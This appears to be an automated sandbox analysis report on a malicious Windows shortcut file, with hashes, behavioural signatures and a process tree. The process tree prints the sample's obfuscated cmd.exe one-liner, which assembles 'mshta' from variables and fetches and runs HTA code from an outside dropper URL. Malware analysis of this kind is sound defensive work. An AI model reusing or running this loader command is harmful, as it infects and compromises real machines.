Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-M793QN.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-M793QN.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-M793QN.lnk
- Size 1KB
- Sample260804-j8tk9aga55
- SHA256 e2e8d71d596376d1ae11e35ea82361ba199b3c63dd979240bf53811b9b30bc06
- MD5 d6bec868493e14d4fd4bbaa82d1cf811
- SHA1 320c8185a914a1ee60f1c6021359fb3cf64e9b3f
- SHA512 4bc1f67ad0294d10fcf1b6873f3b04c861d9f955c6d0d39cdc925ee7088240a5266bfe74490191fc0c3a4a3ce6080d1d4f35bec5c5cc0f422f61ef61cc00778e
- TLSH T11C31CB103FED0624F3F39F73A9BB572089BBB8959D20CA2D42414A0C1032A15E57AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2372 cmd.exe 2864 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2372 wrote to memory of 2864 2372 cmd.exe 87 PID 2864 wrote to memory of 3316 2864 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-M793QN.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set cbfH=msh&&set Kflab=ta&&start "" !cbfH!!Kflab! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3316
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